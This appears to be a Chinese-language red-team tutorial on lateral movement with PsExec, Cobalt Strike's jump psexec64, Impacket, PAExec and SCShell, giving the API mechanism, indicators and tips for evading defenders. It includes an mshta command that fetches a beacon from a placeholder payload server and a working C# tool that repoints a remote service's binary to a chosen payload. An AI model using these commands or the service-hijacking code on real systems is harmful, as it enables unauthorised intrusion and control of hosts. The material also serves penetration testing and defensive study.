Skip to main content

PsExec

横向移动,即通过对网络中的其他主机实现访问和控制从而扩大我们的占领范围,本质是因为我们已经拿下的资源 (用户、主机等)对其他主机具有特定的权限。在之前的章节,我们通过各种域攻击手法,例如 DACL 利用、组策略利用等,攻陷了更多的用户和主机。之前,我们能对其他主机实现资源访问、代码执行,现在,我们想要获得来自这些主机的 Beacon 或 Shell。尽管横向移动的真正难点在于攻陷这些具有权限的用户或主机从而实现对他们的模仿获得特权,但在不同情况下选择最合适的横向移动方法也很重要,因为不同的横向移动方法所需要的需求不一样,也有着不同的 IoC。 

在 Cobalt Strike 中,jump 命令配合具体方法的子命令可用于横向移动,而 remote-exec 用于执行远程代码。

image.png


PsExec

PsExec 是攻击者最青睐的横向移动方式之一,通过 PsExec 横向移动之后,攻击者可以获得 NT AUTHORITY\SYSTEM 的权限。同名工具 PsExec 是微软 Sysinternals Suite 中的一部分 (https://learn.microsoft.com/en-us/sysinternals/downloads/psexec),正因为是微软的工具,因此不会受到杀毒软件的封锁。不过因为被广泛滥用,一些安全产品还是会封锁。接下来,我们来分解一下工具 PsExec 的原理,通过 PsExec 横向移动的原理可以略有不同,以下只是 PsExec.exe 的实现:

1:PsExec 工具会上传服务二进制文件 psexecsvc.exe 至目标的 ADMIN$ 中,通常是目录 c:\Windows
2:通过调用 OpenSCManager CreateService API 在目标主机上创建新服务,指向上传的这个服务二进制文件
3:调用 StartService API 启动服务
4:PsExec 通过命名管道psexecsvc.exe 进行通信,其中 CreateFile 用于打开对命名管道的句柄,ReadFile 以及 WriteFile 用于发送和接收数据
5:PsExec 将要执行的命令通过命名管道发送给 psexecsvc.exe,调用 CreateProcess 运行命令
6:使用结束后,通过调用 DeleteService API 来删除服务

来看看上述过程中的一些 IoC,如下图所示,我们可以看到 PSEXECSVC 服务被安装然后启动。

image.png

image.png

攻击者可以通过自定义服务名上传目录、自定义服务二进制文件等方式改善 OPSEC。

image.png

PsExec 需要用户对目标主机具有本地管理员权限,并且需要 445 端口开启。但是 2022 年的一份研究 (https://pentera.io/blog/135-is-the-new-445/) 表明,只开启端口 135 也是可以实现的。对于非默认的本地管理员组账户 (例如 admin),如果在开启了远程 UAC (默认开启),即本地账户令牌过滤策略 (https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction),使用 PsExec (对于一些其他方式的横向移动也适用) 进行横向移动会被阻止。例如,我们拥有了某主机的一个非默认本地管理员账户 admin 凭证,我们想通过 PsExec 远程访问该主机并获得 SYSTEM 权限,但会发现访问失败,这就是远程 UAC 的效果,对于域账户不适用


Windows Sysinternal PsExec

在上文,我们说过了微软原生工具 PsExec 的原理,那么至于使用方法就很直接了。如果当前用户在本地是管理员,可以用此来获得 SYSTEM 权限,需要当前是高完整度。

image.png

当前域用户对远程主机具有本地管理员权限的话,指定远程主机即可。

image.png


C2 

jump-psexec

我们知道了 CS 内置的 jump 命令可用于横向移动,那么 jump psexec64 则是使用 psexec 的方法。根据 PsExec 的原理,这个过程是需要上传服务二进制文件的,而 CS 内置的该命令显然会上传服务二进制格式的 Beacon,默认情况下容易被安全产品所捕捉。如果我们当前进程的令牌可以访问远程主机的 ADMIN$,那么可以直接通过命令 jump psexec64 <主机名> <监听器> 进行横向移动。如果不可以,但有着所需账户的明文凭证,可以先生成新的令牌再横向移动。

image.png

之后,我们会获得 SYSTEM 权限的 Beacon。


第三方工具

Impacket

Impacket 中的 psexec.py 脚本大家已经很熟悉了,不仅支持明文密码认证,还支持 NTLM、票据、Keytab 等认证方式。

image.png


PaExec

PaExec (https://github.com/poweradminllc/PAExec) 是对 PsExec 的复现,用法几乎相同,但能突破一些 PsExec 的限制,例如下图。以本地管理员身份横向移动到目标主机,PsExec 拒绝了访问,但 PaExec 却可以。

image.png

而且考虑到 PaExec 的曝光度没有 PsExec 高,可以作为替代品。


BOF scshell

BOF scshell (https://github.com/Mr-Un1k0d3r/SCShell) 以更佳的 OPSEC 实现了基于 PsExec 的横向移动。scshell 是通过 DCERPC 实现认证的,而不是 SMB。蓝队会着重防御 SMB,可能因此忽视了 DCERPC 协议。此外,scshell 并不会注册和创建新的服务,而是对开启一个已有服务,修改其二进制文件的地址。我们可以选择上传一个载荷到目标主机,也可以使用 C:\windows\system32\cmd.exe 这样的内置程序实现代码执行,例如

C:\windows\system32\cmd.exe /c C:\windows\system32\mshta.exe http://<载荷服务器>/beacon.hta

scshell 并不会提供命令的输出,因此适合通过远程代码执行的方式运行载荷。


编程实现

我们也可以通过 C# 编程来实现 PsExec 横向移动。与微软的 PsExec 不同的是,如下程序修改了现有服务的二进制文件地址,使其指向自己制定的程序,这点与 scshell 相同。

using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace movement
{
    class Program
    {
        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
        static void Main(string[] args)
        {
            String target = args[1];
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
            string ServiceName = args[2];
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
            string payload = args[3];
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
            bResult = StartService(schService, 0, null);
        }
    }
}

不过这代码也有一些不完善的地方,例如没有使用后对服务进行修改复原。因此,该代码可用于理解在 API 层面的 PsExec 的原理,但在实战中还是请使用更加完善的途径。